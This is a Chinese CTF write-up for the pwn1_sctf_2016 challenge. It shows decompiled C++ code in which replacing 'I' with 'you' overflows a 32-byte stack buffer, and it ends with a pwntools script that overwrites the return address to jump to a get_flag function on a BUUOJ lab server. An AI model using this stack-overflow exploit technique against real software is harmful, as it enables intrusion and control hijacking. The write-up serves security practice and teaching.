ctf【pwn1_sctf_2016】

逆向

int vuln()
{
    
    
  const char *v0; // eax
  char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
  char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
  char v4[7]; // [esp+40h] [ebp-18h] BYREF
  char v5; // [esp+47h] [ebp-11h] BYREF
  char v6[7]; // [esp+48h] [ebp-10h] BYREF
  char v7[5]; // [esp+4Fh] [ebp-9h] BYREF

  printf("Tell me something about yourself: ");
  fgets(s, 32, edata);
  std::string::operator=(&input, s);
  std::allocator<char>::allocator(&v5);
  std::string::string(v4, "you", &v5);
  std::allocator<char>::allocator(v7);
  std::string::string(v6, "I", v7);
  replace((std::string *)v3);
  std::string::operator=(&input, v3, v6, v4);
  std::string::~string(v3);
  std::string::~string(v6);
  std::allocator<char>::~allocator(v7);
  std::string::~string(v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(s, v0);
  return printf("So, %s\n", s);
}

发现get_flag函数的地址为0x8048F0D

int get_flag()
{
    
    
  return system("cat flag.txt");
}

攻击思路

s的大小为3Ch-1Ch=32,而fgets的最大输入大小也为32字节,无法执行缓冲区溢出漏洞,但是程序会将字符’I’转换为’you’,即一个字符’I’实际上在程序执行结束后可占3个字节。

栈的大小总共为60字节,s占4字节,因此需要64字节,需要20个’I’字符和4个普通字符再加上get_flag函数的地址

脚本攻击

from pwn import *

p=remote('node4.buuoj.cn',27968)
payload=b'I'*20 +b'a'*4+ p32(0x8048F0D)

p.sendline(payload)
p.interactive()

猜你喜欢

转载自blog.csdn.net/HUANGliang_/article/details/127585349